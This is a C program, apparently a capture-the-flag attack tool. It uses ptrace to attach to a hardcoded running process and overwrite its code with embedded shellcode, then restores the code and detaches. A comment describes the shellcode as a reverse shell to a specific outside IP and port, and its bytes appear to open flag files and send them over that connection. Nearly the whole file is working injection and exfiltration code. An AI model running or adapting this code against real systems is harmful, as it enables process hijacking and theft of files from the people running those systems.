1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
|
#define __NR_read 0
#define __NR_write 1
#define __NR_exit 60
#define __NR_wait4 61
#define __NR_ptrace 101
static inline long __syscall0(long n)
{
unsigned long ret;
__asm__ __volatile__ ("syscall" : "=a"(ret) : "a"(n) : "rcx", "r11", "memory");
return ret;
}
static inline long __syscall1(long n, long a1)
{
unsigned long ret;
__asm__ __volatile__ ("syscall" : "=a"(ret) : "a"(n), "D"(a1) : "rcx", "r11", "memory");
return ret;
}
static inline long __syscall2(long n, long a1, long a2)
{
unsigned long ret;
__asm__ __volatile__ ("syscall" : "=a"(ret) : "a"(n), "D"(a1), "S"(a2)
: "rcx", "r11", "memory");
return ret;
}
static inline long __syscall3(long n, long a1, long a2, long a3)
{
unsigned long ret;
__asm__ __volatile__ ("syscall" : "=a"(ret) : "a"(n), "D"(a1), "S"(a2),
"d"(a3) : "rcx", "r11", "memory");
return ret;
}
static inline long __syscall4(long n, long a1, long a2, long a3, long a4)
{
unsigned long ret;
register long r10 __asm__("r10") = a4;
__asm__ __volatile__ ("syscall" : "=a"(ret) : "a"(n), "D"(a1), "S"(a2),
"d"(a3), "r"(r10): "rcx", "r11", "memory");
return ret;
}
static inline long __syscall5(long n, long a1, long a2, long a3, long a4, long a5)
{
unsigned long ret;
register long r10 __asm__("r10") = a4;
register long r8 __asm__("r8") = a5;
__asm__ __volatile__ ("syscall" : "=a"(ret) : "a"(n), "D"(a1), "S"(a2),
"d"(a3), "r"(r10), "r"(r8) : "rcx", "r11", "memory");
return ret;
}
static inline long __syscall6(long n, long a1, long a2, long a3, long a4, long a5, long a6)
{
unsigned long ret;
register long r10 __asm__("r10") = a4;
register long r8 __asm__("r8") = a5;
register long r9 __asm__("r9") = a6;
__asm__ __volatile__ ("syscall" : "=a"(ret) : "a"(n), "D"(a1), "S"(a2),
"d"(a3), "r"(r10), "r"(r8), "r"(r9) : "rcx", "r11", "memory");
return ret;
}
static inline long __syscall_ret(unsigned long r)
{
if (r > -4096UL) {
return -1;
}
return r;
}
#define __scc(X) ((long) (X))
#define __syscall1(n,a) __syscall1(n,__scc(a))
#define __syscall2(n,a,b) __syscall2(n,__scc(a),__scc(b))
#define __syscall3(n,a,b,c) __syscall3(n,__scc(a),__scc(b),__scc(c))
#define __syscall4(n,a,b,c,d) __syscall4(n,__scc(a),__scc(b),__scc(c),__scc(d))
#define __syscall5(n,a,b,c,d,e) __syscall5(n,__scc(a),__scc(b),__scc(c),__scc(d),__scc(e))
#define __syscall6(n,a,b,c,d,e,f) __syscall6(n,__scc(a),__scc(b),__scc(c),__scc(d),__scc(e),__scc(f))
#define __syscall7(n,a,b,c,d,e,f,g) __syscall7(n,__scc(a),__scc(b),__scc(c),__scc(d),__scc(e),__scc(f),__scc(g))
#define __SYSCALL_NARGS_X(a,b,c,d,e,f,g,h,n,...) n
#define __SYSCALL_NARGS(...) __SYSCALL_NARGS_X(__VA_ARGS__,7,6,5,4,3,2,1,0,)
#define __SYSCALL_CONCAT_X(a,b) a##b
#define __SYSCALL_CONCAT(a,b) __SYSCALL_CONCAT_X(a,b)
#define __SYSCALL_DISP(b,...) __SYSCALL_CONCAT(b,__SYSCALL_NARGS(__VA_ARGS__))(__VA_ARGS__)
#define __syscall(...) __SYSCALL_DISP(__syscall,__VA_ARGS__)
#define syscall(...) __syscall_ret(__syscall(__VA_ARGS__))
typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned int u32;
typedef unsigned int uint;
typedef unsigned long int u64;
typedef unsigned long int size_t;
#define NULL 0
#define SUCCESS 0
#define FAILURE 1
static inline int write(int fd, void* buf, int sz)
{
return syscall(__NR_write, fd, buf, sz);
}
static inline int exit(int status)
{
return syscall(__NR_exit, status);
}
static inline int waitpid(long pid, long status, long option)
{
return syscall(__NR_wait4, pid, status, option, 0);
}
static inline int ptrace(long req, long pid, long addr, long data)
{
return syscall(__NR_ptrace, req, pid, addr, data);
}
static inline int strlen(const char * buf)
{
int l = 0;
while (*buf) {
buf++;
l++;
}
return l;
}
static inline void puts(const char *s)
{
int r = write(1, s, strlen(s));
write(1, "\n", 1);
return r;
}
#define die(s) \
puts (s); \
return FAILURE
struct user_regs_struct
{
unsigned long long int r15;
unsigned long long int r14;
unsigned long long int r13;
unsigned long long int r12;
unsigned long long int rbp;
unsigned long long int rbx;
unsigned long long int r11;
unsigned long long int r10;
unsigned long long int r9;
unsigned long long int r8;
unsigned long long int rax;
unsigned long long int rcx;
unsigned long long int rdx;
unsigned long long int rsi;
unsigned long long int rdi;
unsigned long long int orig_rax;
unsigned long long int rip;
unsigned long long int cs;
unsigned long long int eflags;
unsigned long long int rsp;
unsigned long long int ss;
unsigned long long int fs_base;
unsigned long long int gs_base;
unsigned long long int ds;
unsigned long long int es;
unsigned long long int fs;
unsigned long long int gs;
};
#define PTRACE_ATTACH 16
#define PTRACE_DETACH 17
#define PTRACE_GETREGS 12
#define PTRACE_SETREGS 13
#define PTRACE_PEEKDATA 2
#define PTRACE_POKEDATA 5
#define PTRACE_CONT 7
#define PTRACE_INTERRUPT 0x4207
// gcc -nostdlib -o test test.c -static -T ./link.lds -Os -w -Wl,-gc-sections && strip ./test
static inline int run2(int child, int has_attach)
{
int res;
if(!has_attach) {
if (ptrace(PTRACE_ATTACH, child, 0, 0) < 0) {
die("PTRACE_ATTACH");
}
}
int status;
waitpid(child, &status, 0);
// 保存当前状态
struct user_regs_struct save_pt_reg;
// 保存被覆盖的shellcode
#define CODE_LEN 300
// 反弹shell给120.25.122.195 15680
u8 buf[0x400] = {144, 144, 144, 144, 106, 41, 88, 106, 2, 95, 106, 1, 94, 153, 15, 5, 106, 41, 88, 106, 2, 95, 106, 1, 94, 153, 15, 5, 72, 137, 197, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 3, 1, 60, 65, 121, 24, 123, 194, 72, 49, 4, 36, 106, 42, 88, 72, 137, 239, 106, 16, 90, 72, 137, 230, 15, 5, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 103, 109, 96, 102, 1, 1, 1, 72, 49, 4, 36, 106, 2, 88, 72, 137, 231, 49, 246, 15, 5, 65, 186, 255, 255, 255, 127, 72, 137, 198, 106, 40, 88, 72, 137, 239, 153, 15, 5, 106, 116, 72, 184, 47, 102, 108, 97, 103, 46, 116, 120, 80, 106, 2, 88, 72, 137, 231, 49, 246, 15, 5, 65, 186, 255, 255, 255, 127, 72, 137, 198, 106, 40, 88, 72, 137, 239, 153, 15, 5, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 103, 46, 103, 109, 96, 102, 1, 1, 72, 49, 4, 36, 72, 184, 47, 104, 111, 109, 101, 47, 99, 116, 80, 106, 2, 88, 72, 137, 231, 49, 246, 15, 5, 65, 186, 255, 255, 255, 127, 72, 137, 198, 106, 40, 88, 72, 137, 239, 153, 15, 5, 104, 121, 117, 1, 1, 129, 52, 36, 1, 1, 1, 1, 72, 184, 102, 47, 102, 108, 97, 103, 46, 116, 80, 72, 184, 47, 104, 111, 109, 101, 47, 99, 116, 80, 106, 2, 88, 72, 137, 231, 49, 246, 15, 5, 65, 186, 255, 255, 255, 127, 72, 137, 198, 106, 40, 88, 72, 137, 239, 153, 15, 5, 72, 137, 239, 106, 3, 88, 15, 5, 204};
uint save_opcode[CODE_LEN/4] = {0};
uint *opcode = (uint *)buf;
//获取寄存器
if (ptrace(PTRACE_GETREGS, child, NULL, &save_pt_reg) < 0) {
die("PTRACE_GETREGS");
}
// printf("GET RIP: 0x%lx\n", save_pt_reg.rip);
// 保存原有的opcode
for (size_t i = 0; i < CODE_LEN / 4; i++)
{
save_opcode[i] = ptrace(PTRACE_PEEKDATA, child, save_pt_reg.rip + i*4, NULL);
}
puts("save!");
// 注入shellcode
for (size_t i = 0; i < CODE_LEN / 4; i++)
{
if (ptrace(PTRACE_POKEDATA, child, save_pt_reg.rip + i*4, opcode[i]) < 0)
{
die("PTRACE_POKEDATA 1");
}
}
// // 继续走
if (ptrace(PTRACE_CONT, child, NULL, 0) < 0) {
die("PTRACE_CONT 1");
}
puts("inject!");
waitpid(child, &status, 0);
ptrace(PTRACE_INTERRUPT, child, 0, 0);
// 恢复
for (size_t i = 0; i < CODE_LEN / 4; i++)
{
if (ptrace(PTRACE_POKEDATA, child, save_pt_reg.rip + i*4, save_opcode[i]) < 0)
{
die("PTRACE_POKEDATA 2");
}
}
if (ptrace(PTRACE_SETREGS, child, NULL, &save_pt_reg) < 0) {
die("PTRACE_SETREGS");
}
if (ptrace(PTRACE_CONT, child, NULL, 0) < 0) {
die("PTRACE_CONT 2");
}
puts("recover!");
ptrace(PTRACE_DETACH, child, 0, 0);
puts("detach!");
return SUCCESS;
}
int _start()
{
// 第一个参数是pid,根据需要修改即可
run2(22093, 0);
exit(0);
}
|